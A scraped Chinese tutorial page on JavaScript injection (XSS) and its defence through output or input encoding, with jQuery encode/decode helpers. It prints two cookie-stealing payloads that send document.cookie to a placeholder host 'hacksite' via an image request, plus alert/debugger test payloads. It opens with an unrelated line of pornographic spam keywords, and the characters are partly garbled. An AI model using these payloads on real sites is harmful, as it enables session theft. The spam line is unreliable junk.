欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

JavaScript注入漏洞的原理及防范(詳解)

 更新時(shí)間:2016年12月04日 14:20:19   投稿:jingxian  
下面小編就為大家?guī)?lái)一篇JavaScript注入漏洞的原理及防范(詳解)。小編覺得挺不錯(cuò)的,現(xiàn)在就分享給大家,也給大家做個(gè)參考。一起跟隨小編過(guò)來(lái)看看吧

初次接觸:

初次接觸JavaScript注入漏洞后,如果不對(duì)這種漏洞的作用機(jī)理仔細(xì)分析并提取出其發(fā)生的某種模式,你就不能做到快速的發(fā)現(xiàn)項(xiàng)目中可能存在的所有注入風(fēng)險(xiǎn)并在代碼中防范。

發(fā)生模式:

JavaScript注入漏洞能發(fā)生作用主要依賴兩個(gè)關(guān)鍵的動(dòng)作,一個(gè)是用戶要能從界面中注入JavaScript到系統(tǒng)的內(nèi)存或者后臺(tái)存儲(chǔ)系統(tǒng)中;二是系統(tǒng)中存在一些UI會(huì)展示用戶注入的數(shù)據(jù)。

比如注入漏洞最常見的就是發(fā)生在各種類型的名字中,比如系統(tǒng)中的人名等等,因?yàn)槊滞鶗?huì)在各種系統(tǒng)上顯示,如果在某個(gè)用戶輸入名字的時(shí)候注入了腳本,那么受其影響的各個(gè)系統(tǒng)都有發(fā)生注入漏洞的風(fēng)險(xiǎn)。

曾經(jīng)在幫別的項(xiàng)目做Bug Bash時(shí),我給系統(tǒng)中的一個(gè)名字中注入了JavaScript腳本,結(jié)果導(dǎo)致使用這個(gè)名字的8個(gè)子系統(tǒng)、站點(diǎn)、app出現(xiàn)問題。

解決方案:

防范注入漏洞主要有兩個(gè)思路:一個(gè)是在用戶輸入數(shù)據(jù)后Encode內(nèi)容后再保存到持久存儲(chǔ),另一個(gè)是在展示用戶輸入數(shù)據(jù)的地方Encode從持久存儲(chǔ)中取到的數(shù)據(jù)。

方法一的優(yōu)點(diǎn)是一般存儲(chǔ)用戶輸入數(shù)據(jù)的代碼少而固定但展示輸入數(shù)據(jù)的UI界面可能有很多而且還會(huì)有變化的可能,因此比較好防范;但缺點(diǎn)是存儲(chǔ)在持久存儲(chǔ)中的數(shù)據(jù)是Encode后的。

方法二的優(yōu)點(diǎn)是存儲(chǔ)在持久存儲(chǔ)中的數(shù)據(jù)原始內(nèi)容;但缺點(diǎn)是需要在多處UI界面中寫代碼防范,而且還得確保在增加新的UI時(shí)不忘防范。比如現(xiàn)在Web app比較流行,公司決定開發(fā),那么在開發(fā)的過(guò)程必須要做好防范,否則可能別的地方都防范好了,但新系統(tǒng)中卻沒有做好防范,漏洞最后還是發(fā)生了。

JavaScript Html Encode/Decode by jQuery:

function htmlEncode(value){

return $('<div/>').text(value).html();

}

function htmlDecode(value){

return $('<div/>').html(value).text();

}

漏洞被用于攻擊時(shí)注入內(nèi)容:

jQuery場(chǎng)景:

<script>var i=$("<img></img>");i.attr("src", "http://hacksite?k="+document.cookie);$('body').append(i)</script>

原生JS場(chǎng)景:

<script>var d=document;var i=d.createElement("img");i.setAttribute("src","http://hacksite?k="+d.cookie);d.body.appendChild(i)</script>

測(cè)試漏洞時(shí)注入內(nèi)容:

<script>alert(0)</script>

<script>debugger</script> --輔助開發(fā)人員快速定位出錯(cuò)的JavaScript代碼(打開調(diào)試器的情況下)。

以上這篇JavaScript注入漏洞的原理及防范(詳解)就是小編分享給大家的全部?jī)?nèi)容了,希望能給大家一個(gè)參考,也希望大家多多支持腳本之家。

相關(guān)文章

  • 淺析js實(shí)現(xiàn)網(wǎng)頁(yè)截圖的兩種方式

    淺析js實(shí)現(xiàn)網(wǎng)頁(yè)截圖的兩種方式

    這篇文章主要介紹了淺析js實(shí)現(xiàn)網(wǎng)頁(yè)截圖的兩種方式,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2019-11-11
  • JS閉包的幾種常見形式實(shí)例詳解

    JS閉包的幾種常見形式實(shí)例詳解

    本文通過(guò)實(shí)例代碼給大家詳細(xì)介紹了js閉包的幾種常見形式,代碼簡(jiǎn)單易懂,非常不錯(cuò),具有參考借鑒價(jià)值,需要的朋友參考下
    2017-09-09
  • JavaScript 彈出窗體點(diǎn)擊按鈕返回選擇數(shù)據(jù)的實(shí)現(xiàn)

    JavaScript 彈出窗體點(diǎn)擊按鈕返回選擇數(shù)據(jù)的實(shí)現(xiàn)

    這兩天一直想實(shí)現(xiàn)這個(gè),以前做做個(gè)Demo,但是不知道跑哪去了。于是今天在網(wǎng)上找了些資料再自己動(dòng)手搞定。廢話不多說(shuō)。直接進(jìn)入主題啦。
    2010-04-04
  • JavaScript 面向?qū)ο笈c原型

    JavaScript 面向?qū)ο笈c原型

    這篇文章主要介紹了JavaScript 面向?qū)ο笈c原型,需要的朋友可以參考下
    2015-04-04
  • JS 將字符串中指定字符全局替換的方法

    JS 將字符串中指定字符全局替換的方法

    JavaScript 中的 replace() 方法用于將字符串或其中的子字符串替換為指定字符,或替換一個(gè)與正則表達(dá)式匹配的子串,這篇文章主要介紹了JS 將字符串中指定字符全局替換,需要的朋友可以參考下
    2023-07-07
  • JS實(shí)現(xiàn)用特殊符號(hào)替換字符串的中間部分區(qū)域的實(shí)例代碼

    JS實(shí)現(xiàn)用特殊符號(hào)替換字符串的中間部分區(qū)域的實(shí)例代碼

    相信很多人都遇到過(guò)敏感信息需要做部分隱藏功能,大多數(shù)都是用特殊符號(hào)去替換。今天小編給大家?guī)?lái)了JS實(shí)現(xiàn)用特殊符號(hào)替換字符串的中間部分區(qū)域的實(shí)例代碼,需要的朋友參考下吧
    2018-07-07
  • 詳解JavaScript 事件流

    詳解JavaScript 事件流

    這篇文章主要介紹了JavaScript 事件流的相關(guān)資料,幫助大家更好的理解和學(xué)習(xí)JavaScript,感興趣的朋友可以了解下
    2020-09-09
  • innerText和textContent對(duì)比及使用介紹

    innerText和textContent對(duì)比及使用介紹

    innerText使用過(guò)程中遇到了FireFox的兼容問題FireFox不支持innerText方法但是有個(gè)類似的方法,叫textContent,類似innerText,都是用來(lái)獲?。ㄔO(shè)置)元素中text的方法,感興趣的朋友可以參考下
    2013-02-02
  • JS中arguments的使用示例

    JS中arguments的使用示例

    本文主要介紹了JS中arguments的使用示例,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2023-05-05
  • ToolTip 通過(guò)Js實(shí)現(xiàn)代替超鏈接中的title效果

    ToolTip 通過(guò)Js實(shí)現(xiàn)代替超鏈接中的title效果

    ToolTip 通過(guò)Js實(shí)現(xiàn)代替超鏈接中的title效果,需要的朋友可以參考下。
    2011-04-04

最新評(píng)論